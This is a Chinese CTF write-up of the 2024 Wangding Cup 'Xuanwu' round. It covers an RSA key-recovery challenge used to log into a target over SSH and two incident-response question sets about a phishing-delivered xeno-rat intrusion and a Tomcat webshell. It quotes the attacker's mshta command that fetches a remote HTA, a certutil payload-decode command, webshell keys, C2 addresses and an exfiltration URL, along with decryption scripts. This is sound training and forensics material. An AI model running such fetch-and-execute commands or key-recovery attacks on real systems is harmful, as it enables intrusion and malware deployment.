2024第四届“网鼎杯”网络安全大赛|玄武组Writeup
背景
11月4日,第四届“网鼎杯”网络安全大赛第四场线上官方资格赛——“玄武之竞”完美收官。来自科研机构、科技企业、网安企业、互联网企业、测评机构以及社会参赛队伍数千名参赛选手,鏖战8小时,争夺最后的半决赛入场券。
Web
Web03
dirsearch扫出来robots.txt,访问之后可以看到如下内容。
很明显wbStego4.bmp使用了wbStego4隐写,空密码解密即可。
发现是SSH的公钥格式
转换为PKCS8格式
sudo ssh-keygen -f id_rsa.pub -e -m PKCS8
可以得到
-----BEGIN PUBLIC KEY-----
MIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQB6kiEmH5MLhXl9tCk7cg4a
Rv55sjCuTK5oyiC1Gy8aRLYMPuItLCEeLFrTaRklQDC2eGDvBGOqexQcNM+LtAC6
NqgvCO+t5XypTVx9Vh1nsUR3e9jBKcaTs7e/bpGmxK+zlqUXQxCEo9zMhGpVTWBk
yjLf00Fkf3ZxXfk7AwdmkQwUEKvVX0IWfWfOuIbkOA7vDyoONqZc30TybBIXuCaR
NBluUEWqfWTRzP+H0khyZcKmwahnXiI8PlO82P0aJMSve/fn+0jeqjHPRcwFE528
BRi6WXuKIc+KTyTa5kSnxEU0ig6F8NZK3Q2bhGcwoIqa6UfFqi7xqA14WLLXK4Fl
AgMBAAE=
-----END PUBLIC KEY-----
找一个在线网站解析公钥https://bkssl.com/ssl/parser/publicKey
In [3]: 0x7a9221261f930b85797db4293b720e1a46fe79b230ae4cae68ca20b51b2f1a44b60c3e
...: e22d2c211e2c5ad36919254030b67860ef0463aa7b141c34cf8bb400ba36a82f08efade5
...: 7ca94d5c7d561d67b144777bd8c129c693b3b7bf6e91a6c4afb396a517431084a3dccc84
...: 6a554d6064ca32dfd341647f76715df93b030766910c1410abd55f42167d67ceb886e438
...: 0eef0f2a0e36a65cdf44f26c1217b8269134196e5045aa7d64d1ccff87d2487265c2a6c1
...: a8675e223c3e53bcd8fd1a24c4af7bf7e7fb48deaa31cf45cc05139dbc0518ba597b8a21
...: cf8a4f24dae644a7c445348a0e85f0d64add0d9b846730a08a9ae947c5aa2ef1a80d7858
...: b2d72b8165
Out[3]: 15473132342055954558780743503377112628799304584198645895267270016124133490922098456166112042641326832865833651985277530457678074443980433108579830298962133947433527712865590585431566632983430843501946695655887372383479716038917317269141215074859439934216381040714018271595168426357226026198765176618021081022415221237337044775954393916497106899407589200453955923849063288526403725531781699959251467756397025462984686365248488495366710314704482655593149707807258497477652225445069994376526985310824804739194259812224359792816573562797784525943054303945261131087499235482603191504292886444952159639040155783760580411749
尝试yafu分解N,可以得到pq
yafu-x64.exe factor(15473132342055954558780743503377112628799304584198645895267270016124133490922098456166112042641326832865833651985277530457678074443980433108579830298962133947433527712865590585431566632983430843501946695655887372383479716038917317269141215074859439934216381040714018271595168426357226026198765176618021081022415221237337044775954393916497106899407589200453955923849063288526403725531781699959251467756397025462984686365248488495366710314704482655593149707807258497477652225445069994376526985310824804739194259812224359792816573562797784525943054303945261131087499235482603191504292886444952159639040155783760580411749)
再生成私钥登陆靶机即可
# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
def generate_rsa_keypair(p, q, e=65537):
"""
生成RSA密钥对。
:param p: 大素数p
:param q: 大素数q
:param e: 公钥指数,默认为65537
:return: RSA私钥
"""
# 计算模数N
N = p * q
# 计算欧拉函数phi(N)
phi = (p - 1) * (q - 1)
# 计算私钥d
d = pow(e, -1, phi)
# 构造RSA私钥
pri_key = RSA.construct((N, e, d))
return pri_key
def save_private_key_to_file(private_key, filename="id_rsa"):
"""
将私钥保存到文件中。
:param private_key: RSA私钥对象
:param filename: 保存的文件名,默认为"id_rsa"
"""
with open(filename, "wb") as f:
f.write(private_key.export_key("PEM"))
# 示例:生成RSA密钥对并保存私钥
if __name__ == "__main__":
# 输入大素数p和q
p = 124391046068661849479368048442368264528688137061859889420748135089530711531982879099228365579453507914971808645098707899792342947071605270753221189146520461936329644320307671256282476976106892669621936765657513838321041373894048138250076354093023213535042038834560618477692450327056145702068970492978556584563
q = 124391046068661849479368048442368264528688137061859889420748135089530711531982879099228365579453507914971808645098707899792342947071605270753221189146520461936329644320307671256282476976106892669621936765657513838321041373894048138250076354093023213535042038834560618477692450327056145702068970492978556583623
private_key = generate_rsa_keypair(p, q)
save_private_key_to_file(private_key)
print(f"私钥已保存到文件:id_rsa")
Misc
MISC01
应急响应十连问😭😭😭
给了两个附件,一个pcappng流量包,一个Foxmail和Windows主机目录压缩包。
(1/10) 攻击者拿到了其被感染应用的管理员账户 你能知道其管理员账户的信息是什么吗? 格式:用户名:密码 示例:aaaa:bbbb
熟悉tomcat的师傅应该都可以很快找到
/Challenge/Users/Wang/Downloads/apache-tomcat-10.1.25-windows-x64/apache-tomcat-10.1.25/conf/tomcat-users.xml
答案是admin:admin
(2/10) 攻击者利用什么文件来成功感染应用 请提供其的完整路径 格式:C:/xxxss/ssssa/xxxx/cccs/ssss.xxxx 示例:C:/users/Appdat/123/xx.txt
在tomcat的conf目录下可以看到攻击者上传的恶意host.war包
答案是:
C:/Users/Wang/Downloads/apache-tomcat-10.1.25-windows-x64/apache-tomcat-10.1.25/conf/server.xml
(3/10) 攻击者所使用webshell中的加密算法是什么? 用_
分割即可 有两个 请注意编码不属于加密 格式:加密算法1_加密算法2 示例:DES_RSA
在control.jsp里面可以看到XOR和AES,和强网杯一样。
答案是XOR_AES
(4/10) 从上一问所提及的两种算法其秘钥分别是多少? 用_
分割即可 格式:KEY1_KEY2 示例:aaaaa_bbbbbb
密钥如上图所示,答案是121b8df8c86ca5b4_2ed2bf6465e2ddc4
(5/10) 攻击者使用webshell删除了什么文件 示例:MD5(C:/users/Appdata/123/xx.txt) 以cyberchef结果为准
追踪TCP流38
再使用XOR->AES解密流量
可以看到删除了install_guide.pdf.lnk
文件。
C:/Users/Wang/AppData/Roaming/Foxmail7/Temp-2516-20240629121132/Attach/install_guide.pdf.lnk
再算一下md5,答案是233f926656cb3c3c81a2db426514c0f2
(6/10) 攻击者通过webshell上传了什么文件 你能知道其文件名吗? 示例:xxxx.txt
追踪TCP流59,再跑XOR->AES脚本解密流量,可以得到class文件,再反编译得到java文件
答案是downloadCache
(7/10) 攻击者在文件上传后执行了什么命令 你可以给出完整的命令行吗? 示例:MD5(cmd.exe /c echo xxxx) 以cyberchef结果为准
追踪TCP流50,再跑XOR->AES脚本解密流量,可以得到class文件,再反编译得到java文件
答案是certutil.exe -decode .\downloadCache .\ht-view.exe
(8/10) 攻击者所上传的文件其会加密什么后缀的文件 用_
分割 后缀名都带.
,若有多种后缀则按照字母序排列 示例:.exe_.dll
从最后一个TCP流往前翻,找到8个分块传输的数据,序号也给了,拼在一起解。(这个真的考验耐心和毅力😭)
再base64解码可以得到一个hw-view.exe
发现是.NET写的exe,于是用dnSpy反编译。
在加密算法中看到了加密文件的后缀名,按照字母序排列好。
答案是:
.asp_.aspx_.csv_.doc_.docx_.html_.jpg_.mdb_.odt_.php_.png_.ppt_.pptx_.psd_.sln_.sql_.txt_.xls_.xlsx_.xml
(9/10) 攻击者所上传的文件有无外联行为 如果有他请求的URL是什么? 示例:http://baidu.com 注意:以流量信息为准
追踪TCP流60,可以看到外连的地址信息,是一个内网地址。
答案是
http://172.25.136.161:8100/?info=UbuntuWIN-E2J7QKKEBJ6-Wang%206k?TKl/Mu9?uFyia12cc
(10/10) 机密文件被加密了 你可以拿到其解密内容吗 示例:MD5(flag{test}) 以cyberchef结果为准
分析hw-view.exe
程序的加密算法,写出对应的解密,还原secret.txt.locked
文件的内容。
答案是flag{Y0u_4re_MASTER_0f_DFIR}
MISC02
(1/10) 系统被通过什么方式植入了恶意软件,该种方式对应ATT&CK的TTPs号是什么? 示例:T001
直接问GPT,可以发现是钓鱼是T1566
答案是T1566
(2/10) 攻击者所使用了的钓鱼载荷后缀名是什么? 以及其的SID号是什么? 两个题目的答案请使用_
连接 示例:exe_776645432432
既然是钓鱼,还给了foxmail,大概率是邮件钓鱼。打开附件中的foxmail.exe,能看到两封邮件,最新的一封邮件就是钓鱼邮件。
可以看到邮件中有一个lnk文件,保存之后查看该文件的属性信息。
该文件目标是mshta.exe http://172.25.136.161:8000/install.hta
再使用十六进制编辑器查看该文件,可以得到SID。
答案是lnk_S-1-5-21-2014616596-768976026-1254046286-1001
(3/10) 其钓鱼载荷执行的命令是什么 示例:cmd.exe /c powershell(注意:按照示例的写不用写全路径)
提交上一问lnk文件中的目标指向。
答案是mshta.exe http://172.25.136.161:8000/install.hta
(4/10) 其命令所请求的缓存文件夹是什么 示例: C:/Users/xxx/xxx/xxxx
在目录中全局搜索.hta
文件,可以得到文件夹路径。
答案是
C:/Users/Wang/AppData/Local/Microsoft/Windows/Temporary Internet Files/Content.IE5/UFFAFLNS
(5/10) 攻击者使用了何种RAT? 示例:asyncrat
打开该install[1].hta
文件,可以看到下载了Flycode_VPN_installer.exe
文件。
在目录Temp中可以找到该VPN程序,使用dnSpy反编译,再解密里面的base64编码。
base64解码之后可以得到xeno rat client.exe
,使用dnSpy反编译,能看到RAT框架的名称。
答案是xenorat
(6/10) 木马使用了何种加密算法加密数据? 示例:DES
根据exe反编译出来的加密算法,答案是AES
(7/10) 木马所连接的IP和端口是什么? 示例:192.168.345.21:7000
直接把exe扔在线沙箱,发现没有反沙箱功能,可以直接跑出网络行为。
答案是172.25.136.161:10004
(8/10) 木马所控制机器的硬件编号是什么 示例:00000BBBAAAAA
分析exe中的加密算法,发现存在混淆,使用de4dot反混淆,可以拿到请求的地址和Key,外连地址和上一问沙箱中跑出的结果一致。根据题目描述,被控机器信息应该是在流量中的返回包中,再结合AES加密算法来解密流量。
在追踪TCP流量的过程中,发现存在类似于命令执行和返回结果的通信数据包。
再看看hex格式
在互联网检索xenorat关键字,找到一篇文章Xeno-RAT通信模型剖析及自动化解密脚本实现
发现题目中的通信数据和这篇文章中的数据出奇的一致,根据加密算法,写出解密流量的脚本。
# -*- coding: utf-8 -*-
# @Author: 1cePeak
from Crypto.Cipher import AES
# 解密函数
def decrypt_string(enc_str):
try:
# 使用 AES CBC 模式进行解密
cipher = AES.new(KEY, AES.MODE_CBC, IV)
decrypted = cipher.decrypt(bytes.fromhex(enc_str))
# 解密后的数据尝试转为 utf-8 字符串(遇到无法解码的字符时忽略)
return decrypted.decode('utf-8', 'ignore')
except Exception as e:
return f"解密失败: {e}"
# 加密数据字符串
xenorat_data = '''
7100000000e9ba158fdff498979e080818eb73f5a2f5a850d5beb8c77e0791d880146f98ae27b47023d656df40bfdbb9996f9cb3d7fd74140bfef2e71275a24510acf1439df35efeb32502a62206e4688de70ef5a4e74c3b3e0c6bb550e38b0b5deb9b5e3281a7f7e65efe8652d13882bb619f0f78
71000000032bc8b1334e21da17bb95ec4e03d6b0c2d776daa95ae5e8dff288ca63b543d574fc9db7438b514bac4333f6a20f1f8da3bf16935b7deeae12c1e075e0da147adc148a33838f9d35ad4ecff03f09d0dcf00b01a0163be283f2863442503a6a23b251dc2bc6aa660db012002596c530ab76
11000000039fbb23d18d68972f0ae6de8219190cb0
1100000003b2d10af5854b91e2e764c986d1d64c18
110000000323145f9a56536a180c113c5e21812c40
11000000033bac521ae26859766243c036301f87c4
7100000003bc4faceefa1dc31d452b7348201f65481831c0d0c7512eb13e5e1d258e8583b959e3239dd9f2f495ee0b384e24453898eb1b1b73003ac5c6d662940cb92bfcbabbaa4eed9ab68e13d118128053495cbbb6b42bdf31f01d3eb36b12f7ce110e5e092b082fd9c551834f26174faa1b16ad
1100000003b92d5ac86208df769ece4abece0dc85f
11000000033bac521ae26859766243c036301f87c4
1100000003443a21e5c8a2bd68f64c38fa8288c44e
11000000033bac521ae26859766243c036301f87c4
11000000039bf3dceb80c7afbf98b3fa6566946bc5
11000000033bac521ae26859766243c036301f87c4
1100000003701efb644c3b550da6bc247b9e24fdac
11000000033bac521ae26859766243c036301f87c4
1100000003dd028d3eccfef7f6c0309077231c9fef
11000000033bac521ae26859766243c036301f87c4
1100000003e51f135650bcc65d29a8a527060eba8e
11000000033bac521ae26859766243c036301f87c4
1100000003fd69bdf4fe39a5c4133934c0401cbaa3
11000000033bac521ae26859766243c036301f87c4
11000000038977745e6e9182fb6a98bc7bb9411bdb
11000000033bac521ae26859766243c036301f87c4
1100000003eb7945413202a5ebf309e7767ccc90cd
11000000033bac521ae26859766243c036301f87c4
1100000003537edcc15a967af5f52547b8566fb61c
11000000033bac521ae26859766243c036301f87c4
110000000343490cb3331c98647416fefe2a5aa789
'''
# AES 密钥和初始化向量(IV)
KEY = bytes.fromhex('85aaa9cc1dc1043104935f4a658d6091940c45127da6398e885231908c0f5d1d')
IV = bytes(16) # 使用零字节初始化 IV
# 处理每一行加密数据
for line in xenorat_data.split():
# 去掉每行两端的空格,并跳过空行
clean_line = line.strip()
if clean_line:
# 解密并打印结果
result = decrypt_string(clean_line[10:]) # 跳过前10个字符
print(result)
可以看到返回包中存在被控机器的硬件编号,答案是F757C4A862675D1A5A5A
(9/10) 攻击者对被感染机器的某些正常应用进行了进一步的可持续化维持,请找到被利用的应用 示例:phpstudy 12.0
根据前几问的分析,被感染的Web应用是tomcat,找到目录中tomcat的路径,可以看到具体版本号。
/Challenge/Users/Wang/Downloads/apache-tomcat-10.1.25-windows-x64/apache-tomcat-10.1.25/webapps/host.war
答案是apache tomcat 10.1.25
(10/10) 攻击者部署webshell所使用的文件是什么 示例:shell.php
根据前几问的分析,答案是host.war
为了体验一键获取flag的快感,写一个自动提交脚本爽一下。
# -*- coding: utf-8 -*-
# @Author : 1cePeak
import json
from pwn import *
re = remote('xxx.dg08.ciihw.cn', 114514)
flag1=b'admin:admin'
flag2=b'C:/Users/Wang/Downloads/apache-tomcat-10.1.25-windows-x64/apache-tomcat-10.1.25/conf/server.xml'
flag3=b'XOR_AES'
flag4=b'121b8df8c86ca5b4_2ed2bf6465e2ddc4'
flag5=b'233f926656cb3c3c81a2db426514c0f2'
flag6=b'downloadCache'
flag7=b'516990ac9782dfac0168d453dd056779'
flag8=b'.asp_.aspx_.csv_.doc_.docx_.html_.jpg_.mdb_.odt_.php_.png_.ppt_.pptx_.psd_.sln_.sql_.txt_.xls_.xlsx_.xml'
flag9=b'http://172.25.136.161:8100/?info=UbuntuWIN-E2J7QKKEBJ6-Wang%206k?TKl/Mu9?uFyia12cc'
flag10=b'2db6b20f6b16c2563d037f3f98e0f1ab'
resp=re.recvuntil('请输入你的答案 >')
re.sendline(flag1)
print(resp.decode('utf8'))
resp=re.recvuntil('请输入你的答案 >')
re.sendline(flag2)
print(resp.decode('utf8'))
resp=re.recvuntil('请输入你的答案 >')
re.sendline(flag3)
print(resp.decode('utf8'))
resp=re.recvuntil('请输入你的答案 >')
re.sendline(flag4)
print(resp.decode('utf8'))
resp=re.recvuntil('请输入你的答案 >')
re.sendline(flag5)
print(resp.decode('utf8'))
resp=re.recvuntil('请输入你的答案 >')
re.sendline(flag6)
print(resp.decode('utf8'))
resp=re.recvuntil('请输入你的答案 >')
re.sendline(flag7)
print(resp.decode('utf8'))
resp=re.recvuntil('请输入你的答案 >')
re.sendline(flag8)
print(resp.decode('utf8'))
resp=re.recvuntil('请输入你的答案 >')
re.sendline(flag9)
print(resp.decode('utf8'))
resp=re.recvuntil('请输入你的答案 >')
re.sendline(flag10)
print(resp.decode('utf8'))
re.interactive()
恭喜你坐牢结束,这是奖励你的flag 🚩 --> wdflag{See_U_Again_WDB2026}